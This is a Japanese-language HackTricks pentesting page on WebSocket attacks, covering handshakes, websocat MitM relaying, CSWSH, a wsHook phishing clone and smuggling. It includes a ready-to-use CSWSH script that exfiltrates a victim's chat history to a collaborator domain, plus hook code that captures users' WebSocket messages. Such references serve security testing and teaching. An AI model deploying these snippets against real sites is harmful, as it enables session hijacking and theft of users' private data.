WebSocket Attacks

Reading time: 13 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

What are WebSockets

WebSocket接続は、最初のHTTPハンドシェイクを通じて確立され、長期間の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは低遅延またはサーバー起動の通信を必要とするアプリケーションに特に有利です。

Establishment of WebSocket Connections

WebSocket接続の確立に関する詳細な説明はこちらでアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

wssプロトコルはTLSで保護されたWebSocket接続を示し、ws保護されていない接続を示します。

接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示すように:

ブラウザがハンドシェイクリクエストを送信します:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

サーバーのハンドシェイク応答:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

接続は確立されると、双方向でメッセージ交換のためにオープンのままになります。

WebSocketハンドシェイクの重要なポイント:

  • ConnectionおよびUpgradeヘッダーは、WebSocketハンドシェイクの開始を示します。
  • Sec-WebSocket-Versionヘッダーは、希望するWebSocketプロトコルバージョンを示し、通常は13です。
  • Base64エンコードされたランダム値がSec-WebSocket-Keyヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
  • サーバーの応答におけるSec-WebSocket-Acceptヘッダーは、Sec-WebSocket-Keyのハッシュであり、WebSocket接続を開くというサーバーの意図を検証します。

これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。

Linuxコンソール

websocatを使用して、WebSocketとの生の接続を確立できます。

bash
websocat --insecure wss://10.10.10.10:8000 -v

ウェブソケットサーバーを作成するには:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

もしクライアントが現在のローカルネットワークからHTTP websocketに接続していることがわかった場合、ARP Spoofing Attackを試みて、クライアントとサーバーの間でMitM攻撃を実行することができます。
クライアントが接続しようとしているときに、次のように使用できます:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

ツール https://github.com/PalindromeLabs/STEWS を使用して、Websocket内の既知の 脆弱性 を自動的に発見、フィンガープリンティング、検索できます。

Websocket Debug tools

  • Burp Suite は、通常のHTTP通信と非常に似た方法でMitM Websocket通信をサポートしています。
  • socketsleuth Burp Suite拡張機能 は、履歴を取得し、インターセプションルールを設定し、マッチと置換ルールを使用し、IntruderAutoRepeaterを使用することで、Burp内のWebsocket通信をより良く管理できるようにします。
  • WSSiP: "WebSocket/Socket.io Proxy"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャ、インターセプト、カスタムメッセージを送信し、表示するためのユーザーインターフェースを提供します。
  • wsrepl は、特にペネトレーションテスト用に設計されたインタラクティブWebsocket REPLです。受信Websocketメッセージを観察し、新しいメッセージを送信するためのインターフェースを提供し、この通信を自動化するための使いやすいフレームワークを提供します。
  • https://websocketking.com/ は、websocketsを使用して他のウェブと通信するためのウェブです。
  • https://hoppscotch.io/realtime/websocket は、他の通信/プロトコルのタイプの中で、websocketsを使用して他のウェブと通信するためのウェブを提供します。

Decrypting Websocket

Websocket Lab

Burp-Suite-Extender-Montoya-Course には、Websocketsを使用してウェブを起動するためのコードがあり、この投稿 では説明を見つけることができます。

Cross-site WebSocket hijacking (CSWSH)

クロスサイトWebSocketハイジャック、またはクロスオリジンWebSocketハイジャックは、WebSocketハンドシェイクに影響を与える特定のケースの**クロスサイトリクエストフォージェリ(CSRF)として特定されます。この脆弱性は、WebSocketハンドシェイクがCSRFトークンや類似のセキュリティ対策なしにHTTPクッキー**のみで認証されるときに発生します。

攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する悪意のあるウェブページをホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。

Simple Attack

websocket接続を確立する際に、クッキーサーバー送信されることに注意してください。サーバーは、送信されたクッキーに基づいて各特定の ユーザーwebsocket セッション関連付けるためにそれを使用している可能性があります。

次に、例えばwebsocket サーバーがユーザーの会話の履歴返送する場合、"READY"というメッセージが送信されると、接続を確立する単純なXSSクッキーは被害者ユーザーを認証するために自動的に送信されます)で**"READY"を送信することで、会話の履歴取得**できるようになります。

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

クロスオリジン + 異なるサブドメインのクッキー

このブログ投稿 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ では、攻撃者が サブドメイン のドメインで 任意のJavascriptを実行 することに成功しました。これは サブドメイン であったため、クッキー送信されWebsocketがOriginを適切にチェックしなかった ため、通信が可能になり、トークンを盗む ことができました。

ユーザーからデータを盗む

偽装したいウェブアプリケーションをコピーします(例えば .html ファイル)そして、ウェブソケット通信が行われているスクリプト内にこのコードを追加します:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

wsHook.jsファイルをhttps://github.com/skepticfx/wshookからダウンロードし、ウェブファイルのフォルダ内に保存してください
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、websocketを介して送信および受信されたメッセージを盗むことができます:

javascript
sudo python3 -m http.server 80

レースコンディション

WebSocketにおけるレースコンディションも存在します。この情報を確認して、詳細を学んでください

その他の脆弱性

WebSocketはサーバー側とクライアント側にデータを送信するメカニズムであり、サーバーとクライアントが情報をどのように処理するかによって、WebSocketはXSS、SQLi、またはWebの一般的な脆弱性をユーザーの入力を使用して悪用するために利用される可能性があります。

WebSocketスモグリング

この脆弱性により、リバースプロキシの制限を回避することができ、WebSocket通信が確立されたと信じ込ませることができます(実際にはそうでなくても)。これにより、攻撃者は隠れたエンドポイントにアクセスすることができる可能性があります。詳細については、以下のページを確認してください:

Upgrade Header Smuggling

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする